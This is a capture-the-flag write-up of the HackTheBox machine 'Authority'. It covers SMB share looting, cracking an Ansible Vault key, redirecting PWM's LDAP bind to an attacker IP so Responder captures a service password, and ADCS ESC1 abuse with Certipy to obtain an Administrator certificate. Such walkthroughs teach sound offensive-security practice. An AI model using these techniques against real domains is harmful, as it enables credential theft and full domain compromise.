July 15, 2023HackTheBoxWindowsMediumActive DirectoryAnsible VaultADCS ESC1Certipy15 min read
Authority is a medium Windows Active Directory machine. It starts with SMB anonymous access to a Development share containing Ansible playbooks with Ansible Vault-encrypted credentials. Cracking the vault key with ansible2john + John the Ripper reveals credentials to log into PWM (a password self-service app on port 8443). Modifying the PWM LDAP config to redirect to our machine and running Responder captures svc_ldap's plaintext password. Privilege escalation abuses ADCS ESC1 — we add a domain computer, request an Administrator certificate via Certipy, authenticate to get an LDAP shell, and add our user to Domain Admins.
Full port scan reveals a classic Windows Domain Controller fingerprint — DNS, Kerberos, LDAP, SMB, RPC, and an unusual port 8443 running a web app that redirects to /pwm.
nmap — full scan
SP1R4@kali)-[~/HTB/authority]└$ nmap -sC -sV -p- 10.10.11.222 --min-rate=500PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds?
636/tcp open ldapssl?
3268/tcp open ldap
8443/tcp open ssl/https-alt [redirects to /pwm]
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
hosts
echo "10.10.11.222 authority.htb authority.authority.htb" | sudo tee -a /etc/hosts
SMB Enumeration
SMB allows anonymous login. Listing shares reveals a non-standard Development share alongside the usual AD shares.
SP1R4@kali)-[~/HTB/authority]└$ smbclient -N //10.10.11.222/Developmentsmb: \> recurse on
smb: \> prompt off
smb: \> mget *
The share contains Ansible playbooks under Automation/Ansible/PWM/defaults/. The main.yml files hold credentials encrypted with Ansible Vault.
Cracking Ansible Vault
The vault-encrypted values start with $ANSIBLE_VAULT;1.1;AES256. We use ansible2john to convert them to a John-compatible hash, then crack with rockyou.
Port 8443 hosts PWM, an open-source LDAP password self-service application. The decrypted credentials grant access as Configuration Manager. PWM shows LDAP connection errors — it is trying to reach ldaps://authority.authority.htb:636 but failing, and we notice user svc_ldap in the bind DN.
LDAP Capture via Responder
The Configuration Manager page allows us to Download and Import the PWM XML config. We modify the LDAP server URL to point to our machine, import the config, then start Responder. When PWM retries the LDAP bind it sends the credentials in plaintext to us.
config modification — PwmConfiguration.xml
# Change the LDAP URL in PwmConfiguration.xml<value>ldaps://authority.authority.htb:636</value># to:<value>ldap://<YOUR_IP>:389</value># Import modified config via Configuration Manager, then...
The domain allows any authenticated user to add computer accounts (ms-DS-MachineAccountQuota is non-zero). We add a fake computer to get a machine account we control.
Certipy enumerates ADCS certificate templates. It finds a template vulnerable to ESC1 — any Domain Computer can enroll and specify an arbitrary Subject Alternative Name, allowing us to impersonate any user including Administrator.
ⓘ ESC1 — the template permits enrollees to specify an arbitrary Subject Alternative Name (UPN). By setting UPN to administrator@authority.htb, we obtain a certificate that authenticates as Administrator.